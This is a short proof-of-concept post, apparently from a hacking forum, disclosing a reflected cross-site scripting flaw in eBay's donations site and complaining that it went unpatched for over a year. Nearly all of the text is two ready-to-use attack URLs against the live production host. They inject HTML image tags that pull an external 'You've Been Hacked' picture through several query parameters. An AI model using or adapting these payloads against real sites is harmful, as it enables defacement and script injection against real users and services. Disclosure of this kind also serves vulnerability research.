Reported and unpatched over 1yr! SHAME!
[XSS] donations.ebay.com
Author: Kacper
WWW: https://devilteam.pl/
PoC:
https://donations.ebay.com/donation/FNPController?ACTION=BrowseAction&SUB_ACTION=GetSearchResult&ebay_user_id=h1dddd&site_id=null&search_statement=1&v=e8b1e4e4e4e4fcb1b4b1b7b4b6b4b4b1b5b0b0b0fceed9abf3c8dab2d"><img src="http://www.freepasswordmanager.com/wp-content/uploads/2012/12/Youve_Been_Hacked.jpg">0f2c2ede4eab6f7d6eed9abf3c5dab2d0f2c1b2e4eab6c1c6ecb4e1e8c4b5e1c5f1c1abe4eab6f8b9eed9abf3e5d1bdbdfcb0&a="><img src="http://www.freepasswordmanager.com/wp-content/uploads/2012/12/Youve_Been_Hacked.jpg">&name="><img src="http://www.freepasswordmanager.com/wp-content/uploads/2012/12/Youve_Been_Hacked.jpg">
https://donations.ebay.com/donation/FNPController?ACTION=BrowseAction&SUB_ACTION=GetSearchResult&ebay_user_id=h1dddd&site_id=null&search_statement=1&v=e8b1e4e4e4e4fcb1b4b1b7b4b6b4b4b1b5b0b0b0fceed9abf3c8dab2d0f2c2ede4eab6f7d6eed9abf3c5dab2d0f2c1b2e4eab6c1c6ecb4e1e8c4b5e1c5f1c1abe4eab6f8b9eed9abf3e5d1bdbdfcb0&a="><img src="http://www.freepasswordmanager.com/wp-content/uploads/2012/12/Youve_Been_Hacked.jpg">&name="><img src="http://www.freepasswordmanager.com/wp-content/uploads/2012/12/Youve_Been_Hacked.jpg">
Reference: https://devilteam.pl/viewtopic.php?f=16&t=11554